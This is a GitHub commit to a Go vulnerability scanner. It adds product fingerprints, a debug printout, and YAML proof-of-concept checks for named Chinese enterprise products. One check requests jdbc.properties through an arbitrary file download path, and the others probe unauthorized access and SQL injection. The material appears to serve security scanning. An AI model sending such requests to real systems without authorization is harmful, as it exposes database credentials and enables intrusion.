Skip to content

Commit 056309e

Browse files
committed
增加识别北斗主动安全云平台任意文件读取;用友-移动系统管理未授权访问、SQL注入漏洞
1 parent e57c782 commit 056309e

6 files changed

+44
-0
lines changed

Protocol/web.go

+9
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ import (
1111
"golin/poc"
1212
"io"
1313
"net/http"
14+
"os"
1415
"regexp"
1516
"strings"
1617
"time"
@@ -125,6 +126,14 @@ func handleRequest(client *http.Client, info *WebInfo) ([]byte, error) {
125126
info.server = resp.Header.Get("Server")
126127
info.app = CheckApp(string(body), resp.Header, resp.Cookies(), info.server) // 匹配组件
127128

129+
if os.Getenv("html") == "on" {
130+
fmt.Printf("-----> URL: %s HTML正文:\n%s\n", info.url, string(body))
131+
fmt.Printf("-----> Header:\n")
132+
for k, v := range resp.Header {
133+
fmt.Println(k, "->", v)
134+
}
135+
}
136+
128137
return body, nil
129138
}
130139

Protocol/web_RuleDatas.go

+2
Original file line numberDiff line numberDiff line change
@@ -361,4 +361,6 @@ var RuleDatas = []RuleData{
361361
{"人力资源信息管理系统", "body", "(<title>人力资源信息管理系统</title>|<div class=\"hj-hy-all-one-logo)"},
362362
{"EasyCVR视频管理平台", "body", "<title>EasyCVR</title>"},
363363
{"Docker-RemoteAPI", "headers", "(Api-Version|X-Docker-Registry-Version)"},
364+
{"北斗主动安全云平台", "body", "url=808gps/login.html"},
365+
{"用友-移动系统管理", "headers", "W/\"102-1379069896000\""},
364366
}

README.md

+2
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,8 @@
6060
| 42 | 飞致云-DateEase || 仅验证默认账户 |
6161
| 43 | Apache-Solr-Admin || 仅验证未授权访问 |
6262
| 44 | EasyCVR视频管理平台 || 仅验证默认账户 |
63+
| 45 | 用友-移动系统管理 || 仅验证未授权访问 |
64+
6365

6466

6567
## 资产扫描现阶段支持功能
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
name: poc-yaml-北斗主动安全云平台-Directory
2+
description: "任意文件下载"
3+
method: GET
4+
path:
5+
- "/808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties"
6+
expression:
7+
status: 200
8+
body_any:
9+
- "jdbc"
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
name: poc-yaml-用友-移动系统管理-unauth
2+
description: "未授权访问"
3+
method: GET
4+
path:
5+
- /maportal/
6+
expression:
7+
status: 200
8+
body_any:
9+
- "欢迎你"
10+
- "管理员"
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
name: poc-yaml-用友-移动系统管理-sql
2+
description: "sql注入"
3+
method: POST
4+
body: "appname=1&sys_type=&loginmode=&joinmode="
5+
headers:
6+
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7+
path:
8+
- /maportal/appmanager/init
9+
expression:
10+
status: 200
11+
body_all:
12+
- "productlist"

0 commit comments

Comments
 (0)